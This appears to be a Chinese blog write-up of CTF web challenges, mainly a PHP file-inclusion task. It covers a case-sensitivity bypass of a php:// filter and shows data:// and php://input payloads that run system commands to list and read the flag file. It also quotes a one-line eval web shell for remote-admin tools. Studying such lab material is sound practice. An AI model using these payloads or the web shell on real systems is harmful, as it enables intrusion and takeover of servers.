CTF题目记录5

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);//此处为文件包含,执行page中的内容
?>

考察基础的文件包含,过滤了php://
page变量可以操控

思路:先找flag文件的位置,再查看flag文件的内容

  • strstr()函数:大小写不敏感,所以要想使用php协议,要改成大写

  • cat命令

cat命令的用途是连接文件或标准输入并打印。这个命令常用来显示文件内容,或者将几个文件连接起来显示,或者从标准输入读取内容并显示,它常与重定向符号配合使用。

1.命令格式:

cat [选项] [文件]…

2.命令功能:

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

  • ls命令/dir 列出文件

方法1:使用data://协议

http://124.126.19.106:56038/?page=data://text/plain,<?php system("ls")?>
在这里插入图片描述

方法2:使用php://input协议 大写绕过
php://input 协议主要用来接收post数据,将post请求中的数据作为php代码执行

此处ps:我本准备用hackbar post数据 但是页面一闪而过了,所以还是得用bp啊…
在这里插入图片描述
结果都是一样的

然后我们要读取文件的内容,执行 cat 命令
http://124.126.19.106:56038/?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
然后查看源代码(根据评论,php文件一般在源代码中)

也可以利用hello变量的:传参hello=<?show_source('fl4gisisish3r3.php');?>

show_source() 函数对文件进行语法高亮显示。

本函数是 highlight_file() 的别名
在这里插入图片描述
还有其它解法:摘自攻防世界的评论区

评1:菜刀直连 http://111.198.29.45:46279/index.php?page=data:%20text/plain,<?php%20eval(@$_POST['c'])%20?>

评2:这题我占时了解3中方法。第一种利用 PHP://input post: <?php system("ls");?> 查看到fla…g.php;第二种:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php system("ls"); ?>;第三中:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php eval($_POST[c]); ?> 蚁剑连接:url里面之间输入前面的,密码是c
还有一种into outfile 但是不行 ,因为权限不够 用chmod 777 /var/www/赋权限不行,所以放弃

php_rce

这题是蒙蔽的,因为啥都不知道QAQ
搜了一下是thinkphp 5.x rce漏洞 等我学习一下再来做

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: “CTF题目及Flag打包下载”是一个提供CTF比赛题目和相应的Flag(答案)的下载服务。在CTF比赛中,参赛者通过解决各种具有挑战性的安全题目来提升其网络安全攻防能力。 这个服务的目的是为了方便CTF比赛的参赛者获取比赛所需的题目和Flag。一般而言,CTF比赛会有多个题目,每个题目都具有不同的主题和难度。参赛者需要通过分析和利用题目中的漏洞、密码学算法等来获取Flag。Flag通常以特定格式的字符串给出,表示对相关题目的正确解答。 CTF题目及Flag打包下载服务一般会提供一个文件包,里面包含了所有比赛题目的相关文件和Flag。这些文件可能是二进制文件、源代码、加密文件、网络流量等。参赛者可以下载这个文件包后,解压并独立研究每个题目,尝试找到Flag。 通过提供CTF题目及Flag打包下载,可以帮助参赛者更便捷地获取比赛所需的题目和答案。参赛者可以在自己的计算机上独立进行攻击与防守的实践,提高他们的技能和经验。这种服务也有助于促进CTF比赛的发展和推广,吸引更多对网络安全感兴趣的人参与进来。 ### 回答2: CTF比赛是一种网络安全竞赛,参与者需要解决各种安全相关的问题来获取特定的“flag”。Flag是一种明确标识符,通常是一串特定的字符或字符串,用于证明成功解决了问题或完成了相应任务。 在CTF比赛中,以题目和flag的形式呈现问题是非常常见的。一般来说,比赛主办方会给出一系列的题目,每个题目都有一个flag作为解决问题的目标。参与者需要通过分析、加密解密、漏洞利用等技术手段来获取flag。 当比赛结束后,主办方会提供一个打包下载的链接,参与者可以通过该链接将所有的题目和相关的flag一次性下载到自己的设备中。这样,参与者就可以在比赛结束后回顾、学习、研究和分享解题的经验和思路。 对于参与者来说,下载题目和flag的打包是非常重要的,因为它可以帮助他们更好地理解并学习到比赛中遇到的各种问题和解决方案。同时,这些题目和flag的打包下载也提供了参赛者继续研究和深入学习网络安全技术的机会。 总之,CTF比赛中的题目及flag的打包下载对于参与者来说是非常有价值的。它们不仅是学习和研究的资料,还可以帮助参赛者提高自己的技术水平和安全意识。因此,比赛主办方提供题目和flag的打包下载是为了方便参与者继续学习和进一步探索网络安全领域。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值